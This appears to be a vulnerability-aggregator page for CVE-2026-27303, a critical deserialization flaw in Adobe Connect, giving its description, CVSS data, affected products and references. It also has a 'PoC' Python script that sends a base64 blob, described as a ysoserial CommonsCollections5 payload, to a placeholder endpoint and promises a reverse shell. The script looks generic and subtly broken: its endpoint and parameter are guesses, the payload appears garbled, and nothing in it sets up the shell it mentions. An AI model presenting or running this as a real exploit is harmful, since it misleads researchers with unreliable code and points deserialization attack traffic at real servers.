CVE-2026-27303

Description

Adobe Connect versions 2025.3, 12.10 and earlier are affected by a Deserialization of Untrusted Data vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed.

CVSS Details

CVSS Score

9.6

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:adobe:connect:*:*:*:*:*:-:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:a:adobe:connect_desktop_application:*:*:*:*:*:macos:*:* - VULNERABLE

cpe:2.3:a:adobe:connect_desktop_application:*:*:*:*:*:windows:*:* - VULNERABLE

Adobe Connect <= 2025.3

Adobe Connect <= 12.10

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import urllib.parse

# Target URL (Example)
target_url = "http://target-adobe-connect/vulnerable_endpoint"

# Malicious payload generated by ysoserial (Example: CommonsCollections5)
# This is a base64 encoded serialized Java object
payload = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABdAAACGRlZmF1bHR0c3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyLvhKSyJGMDkAgABeHIAE2phdmEudXRpbC5Db2xsZWN0aW9uJAx5cG29e6R0MwIAAHhwc3IAE2phdmEudXRpbC5BYnN0cmFjdE1hcHQ5i1e6R0MwIAAHhwc3IAE2phdmEudXRpbC5BYnN0cmFjdE1hcHcMAAAAAAEAAAB4cHNyABNqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3CAAAAAIAAAACAAAA"

# Construct the malicious request
headers = {
    "User-Agent": "Mozilla/5.0",
    "Content-Type": "application/x-www-form-urlencoded"
}

# The payload usually needs to be sent in a specific parameter or cookie based on the specific vulnerability
params = {
    "data": payload
}

try:
    # Send the request
    response = requests.get(target_url, params=params, headers=headers, timeout=5)
    print(f"Request sent with status code: {response.status_code}")
    print("Check your listener for reverse shell connection.")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-27303
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-27303
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-27303/
[4] VulDB https://vuldb.com/cve/CVE-2026-27303
[5] https://helpx.adobe.com/security/products/connect/apsb26-37.html

Raw JSON Data

JSON

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